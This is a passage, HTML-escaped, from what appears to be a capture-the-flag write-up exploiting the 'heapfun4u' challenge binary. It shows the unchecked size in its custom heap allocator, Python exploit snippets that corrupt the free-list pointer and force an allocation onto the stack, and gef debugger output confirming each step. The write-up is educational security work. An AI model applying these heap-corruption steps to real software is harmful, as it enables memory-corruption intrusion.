&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which we confirm immediately in IDA:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A28&lt;&#x2F;span&gt;&lt;span&gt; mov     edx, 0FFh       ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nbytes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A2D&lt;&#x2F;span&gt;&lt;span&gt; mov     rsi, rax        ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;buf
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A30&lt;&#x2F;span&gt;&lt;span&gt; mov     edi, 0          ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fd
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A35&lt;&#x2F;span&gt;&lt;span&gt; call    _read           ;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(0, &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;stdin_buffer,&lt;&#x2F;span&gt;&lt;span&gt; 0xFF)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A49&lt;&#x2F;span&gt;&lt;span&gt; lea     rax, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp+stdin_buffer&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A50&lt;&#x2F;span&gt;&lt;span&gt; mov     rdi, rax        ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nptr
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A53&lt;&#x2F;span&gt;&lt;span&gt; call    _atoi
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A58&lt;&#x2F;span&gt;&lt;span&gt; mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp+size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;, eax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A5B&lt;&#x2F;span&gt;&lt;span&gt; mov     ebx, cs:index
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A61&lt;&#x2F;span&gt;&lt;span&gt; mov     eax, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp+sz&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A64&lt;&#x2F;span&gt;&lt;span&gt; mov     edi, eax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400A66&lt;&#x2F;span&gt;&lt;span&gt; call    allocate_buffer  ;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span&gt; check on size before call to allocate_buffer(size)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is an issue because the &lt;code&gt;free_buffer(data_ptr)&lt;&#x2F;code&gt; assumes that it will find the
length of the chunk at &lt;code&gt;data_ptr - 8&lt;&#x2F;code&gt; and use this location to store a pointer
to the &lt;code&gt;head_free_list_ptr&lt;&#x2F;code&gt;.  This means that, at the next allocation after the
&lt;code&gt;free()&lt;&#x2F;code&gt;, this pointer (which we now control) will be dereferenced.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;dereferencing-an-arbitrary-location&quot;&gt;Dereferencing an arbitrary location&lt;&#x2F;h4&gt;
&lt;p&gt;To exploit this, we will use the vulnerability disclosed above to force the heap
allocator to make an allocation directly inside the stack (whose address is
known thanks to the “Nice guy” command). So we need to:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;allocate 3 chunks, the second allocated chunk must have a size of -1&lt;&#x2F;li&gt;
&lt;li&gt;free the 3rd chunk&lt;&#x2F;li&gt;
&lt;li&gt;free the 2nd chunk.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;          |  size = N      |
&lt;&#x2F;span&gt;&lt;span&gt;          |  data          |
&lt;&#x2F;span&gt;&lt;span&gt;          |   ..           |
&lt;&#x2F;span&gt;&lt;span&gt;          |                |
&lt;&#x2F;span&gt;&lt;span&gt;          |                |
&lt;&#x2F;span&gt;&lt;span&gt;          |  ptr_to_stack  |
&lt;&#x2F;span&gt;&lt;span&gt;          |  size = -1     |
&lt;&#x2F;span&gt;&lt;span&gt;          |  size = M      |
&lt;&#x2F;span&gt;&lt;span&gt;          |  data          |
&lt;&#x2F;span&gt;&lt;span&gt;          |                |
&lt;&#x2F;span&gt;&lt;span&gt;          |                |
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Upon the 2nd free, we will gain control of the &lt;code&gt;head_free_list_ptr&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;  sz = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;128
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allocate&lt;&#x2F;span&gt;&lt;span&gt;(s, sz)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allocate&lt;&#x2F;span&gt;&lt;span&gt;(s, -&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allocate&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(s, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(s, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  payload = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*(sz-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x4242424242424242&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, payload)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The next allocation will attempt to dereference the address 0x4242424242424242
to see if it’s a suitable buffer:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allocate&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x200&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And as expected:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  c
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Continuing.
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Program&lt;&#x2F;span&gt;&lt;span&gt; received signal SIGSEGV, Segmentation fault.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[registers]──
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;     0x4242424242424242 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbx&lt;&#x2F;span&gt;&lt;span&gt;     0x0000000000000003 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rcx&lt;&#x2F;span&gt;&lt;span&gt;     0x00007f580ed92ac0 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rdx&lt;&#x2F;span&gt;&lt;span&gt;     0x0000000000000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsp&lt;&#x2F;span&gt;&lt;span&gt;     0x00007ffceb5f8a70 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbp&lt;&#x2F;span&gt;&lt;span&gt;     0x00007ffceb5f8ad0
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsi&lt;&#x2F;span&gt;&lt;span&gt;     0x00007ffceb5f8ae3 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rdi&lt;&#x2F;span&gt;&lt;span&gt;     0x0000000000000200 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rip&lt;&#x2F;span&gt;&lt;span&gt;     0x0000000000400d77 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r8&lt;&#x2F;span&gt;&lt;span&gt;      0x00007f580efe1500 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r9&lt;&#x2F;span&gt;&lt;span&gt;      0x0000000000000200 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r10&lt;&#x2F;span&gt;&lt;span&gt;     0x000000000000000a
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r11&lt;&#x2F;span&gt;&lt;span&gt;     0x1999999999999999 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r12&lt;&#x2F;span&gt;&lt;span&gt;     0x00000000004006b0 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r13&lt;&#x2F;span&gt;&lt;span&gt;     0x00007ffceb5f8ce0 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r14&lt;&#x2F;span&gt;&lt;span&gt;     0x0000000000000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;r15&lt;&#x2F;span&gt;&lt;span&gt;     0x0000000000000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs&lt;&#x2F;span&gt;&lt;span&gt;      0x0000000000000033
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ss&lt;&#x2F;span&gt;&lt;span&gt;      0x000000000000002b $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ds&lt;&#x2F;span&gt;&lt;span&gt;      0x0000000000000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;es&lt;&#x2F;span&gt;&lt;span&gt;      0x0000000000000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fs&lt;&#x2F;span&gt;&lt;span&gt;      0x0000000000000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gs&lt;&#x2F;span&gt;&lt;span&gt;      0x0000000000000000 $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eflags  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt; PF IF RF &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Flags: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt; carry  PARITY  adjust  zero  sign  trap  INTERRUPT  direction  overflow  RESUME  virtualx86  identification &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[stack]──
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00007ffceb5f8a70│+0x00: -0x1&lt;&#x2F;span&gt;&lt;span&gt;		← $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00007ffceb5f8a78│+0x08:&lt;&#x2F;span&gt;&lt;span&gt; 0x2000efe1740
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00007ffceb5f8a80│+0x10:&lt;&#x2F;span&gt;&lt;span&gt; 0x00007f580ed92a35 → 0x0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00007ffceb5f8a88│+0x18:&lt;&#x2F;span&gt;&lt;span&gt; 0x00007ffceb5f8ae0 → &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;512[...]&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00007ffceb5f8a90│+0x20:&lt;&#x2F;span&gt;&lt;span&gt; 0x00007ffceb5f8ce0 → 0x1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00007ffceb5f8a98│+0x28:&lt;&#x2F;span&gt;&lt;span&gt; 0x2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00007ffceb5f8aa0│+0x30:&lt;&#x2F;span&gt;&lt;span&gt; 0x4242424242424242
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00007ffceb5f8aa8│+0x38:&lt;&#x2F;span&gt;&lt;span&gt; 0x00000000004006b0 → xor ebp,ebp
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[code:i386:x86-64]──
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x400d67&lt;&#x2F;span&gt;&lt;span&gt;	 mov    QWORD PTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp-0x8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;,rax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x400d6b&lt;&#x2F;span&gt;&lt;span&gt;	 mov    rax,QWORD PTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp-0x8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x400d6f&lt;&#x2F;span&gt;&lt;span&gt;	 mov    QWORD PTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp-0x30&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;,rax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x400d73&lt;&#x2F;span&gt;&lt;span&gt;	 mov    rax,QWORD PTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp-0x8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x400d77&lt;&#x2F;span&gt;&lt;span&gt;	 mov    rax,QWORD PTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rax&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; 		 ← $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x400d7a&lt;&#x2F;span&gt;&lt;span&gt;	 and    rax,0xfffffffffffffffc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x400d7e&lt;&#x2F;span&gt;&lt;span&gt;	 lea    rdx,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rax-0x8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x400d82&lt;&#x2F;span&gt;&lt;span&gt;	 mov    rax,QWORD PTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp-0x8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We now need to create a good setup in the stack to have &lt;code&gt;heapfun4u&lt;&#x2F;code&gt; believe its
a valid region for allocation.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pivoting-to-stack&quot;&gt;Pivoting to stack&lt;&#x2F;h4&gt;
&lt;p&gt;To pivot to the stack, we first needed to know exactly the exactly of $rbp when
the last call to &lt;code&gt;allocate_buffer()&lt;&#x2F;code&gt; is made. Luckily, as said early, the
command “Nice guy” will provide use with such information.&lt;&#x2F;p&gt;
&lt;p&gt;The stack layout is hard to fully control at the level of the
&lt;code&gt;allocate_buffer()&lt;&#x2F;code&gt; function. However, this function is called by the &lt;code&gt;main()&lt;&#x2F;code&gt;
function, which uses a very large buffer (0x100 bytes) to store values read from stdin:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;.text:0000000000400905 ; int __cdecl main(int, char **, char **)
&lt;&#x2F;span&gt;&lt;span&gt;.text:0000000000400905 main proc near
&lt;&#x2F;span&gt;&lt;span&gt;.text:0000000000400905
&lt;&#x2F;span&gt;&lt;span&gt;.text:0000000000400905 stdin_buffer= byte ptr -120h    ;; &amp;lt;&amp;lt;-- this buffer provides a good place to land reliably
&lt;&#x2F;span&gt;&lt;span&gt;.text:0000000000400905 sz= dword ptr -14h
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Additionally, its location is very easy to pinpoint:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;               |       |    RetAddr       |
&lt;&#x2F;span&gt;&lt;span&gt;context of     |       |   SFP of main    |
&lt;&#x2F;span&gt;&lt;span&gt;main()         |       |     size         |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |  buffer[0x100]   |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |                                 |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |                                 |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |                                 |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |                                 |
&lt;&#x2F;span&gt;&lt;span&gt;               V       |                  |                                 |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |    RetAddr       |                                 |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |      SFP         |                                 |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |          to the stack of main() V
&lt;&#x2F;span&gt;&lt;span&gt;allocate()     |       |                  |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |
&lt;&#x2F;span&gt;&lt;span&gt;               |       |                  |
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So now, we can point &lt;code&gt;head_free_list_ptr&lt;&#x2F;code&gt; to a location we fully control. All we
need to write at this address a large value, for example 0x1000 so that when
inspecting this address, &lt;code&gt;allocate_buffer()&lt;&#x2F;code&gt; will believe the buffer in the stack
is large enough for the new allocation:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;padd = &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;D&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;126 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;) + &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;B&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8 &lt;&#x2F;span&gt;&lt;span&gt;+ &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(s, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; + &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; + padd)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allocate&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;512&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We have now an allocation in stack:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[A]llocate&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[F]ree&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[W]rite&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[N]ice&lt;&#x2F;span&gt;&lt;span&gt; guy
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[E]xit
&lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;W
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7f06cd628008&lt;&#x2F;span&gt;&lt;span&gt; -- 128
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7f06cd628090&lt;&#x2F;span&gt;&lt;span&gt; -- -1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7f06cd628098&lt;&#x2F;span&gt;&lt;span&gt; -- 10
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7fffffffe458&lt;&#x2F;span&gt;&lt;span&gt; -- 512
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;^C
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  xinfo 0x00007fffffffe458
